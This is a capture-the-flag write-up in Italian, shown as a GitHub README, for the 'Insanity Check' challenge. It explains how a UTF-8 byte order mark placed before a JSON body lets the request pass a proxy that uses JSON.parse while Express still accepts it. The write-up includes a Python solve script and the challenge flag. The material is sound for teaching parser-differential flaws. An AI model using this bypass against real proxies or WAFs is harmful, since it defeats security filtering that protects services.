Skip to content

Latest commit

 

History

History

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 

README.md

Insanity Check

Descrizione

Esplorare il web può essere rischioso. CodeVinci ha deciso di rendere il viaggio più sicuro.

Author: @benjamin

Soluzione

Lo scopo era creare un payload in json che rispecchiasse due condizioni:

  • Il backend, ovvero un parser JSON di Express, lo doveva riconoscere come un JSON contenente una chiave dammilaflag.
  • Il proxy non doveva riuscire ad analizzarlo come un valore JSON a JSON.parse(req.body).

In conclusione, il seguente JSON li soddisfa, dove \ufeff è un BOM (Byte Order Mark):

\ufeff{"dammilaflag": true}

I framework web spesso consentono l'aggiunta di un BOM all'inizio dei valori JSON.

Ad esempio, Fastify ed Express controllano un BOM a:

D'altra parte, JSON.parse non consente un BOM:

> JSON.parse('{"dammilaflag": true}')
{ dammilaflag: true }
> JSON.parse('\ufeff{"dammilaflag": true}')
Uncaught SyntaxError: Unexpected token '', "{"dammil"... is not valid JSON

Solve

# Author: @benjamin

import requests

url = "http://localhost:4567"

payload = '\ufeff{"dammilaflag": true}'.encode('utf-8')  # UTF-8 BOM

r = requests.post(
    url,
    headers = {"Content-Type": "text/plain"},
    data = payload
)

print(r.text)

Flag

CodeVinciCTF{n3vEr_tRu5t_4_w4f_:drop_of_blood:}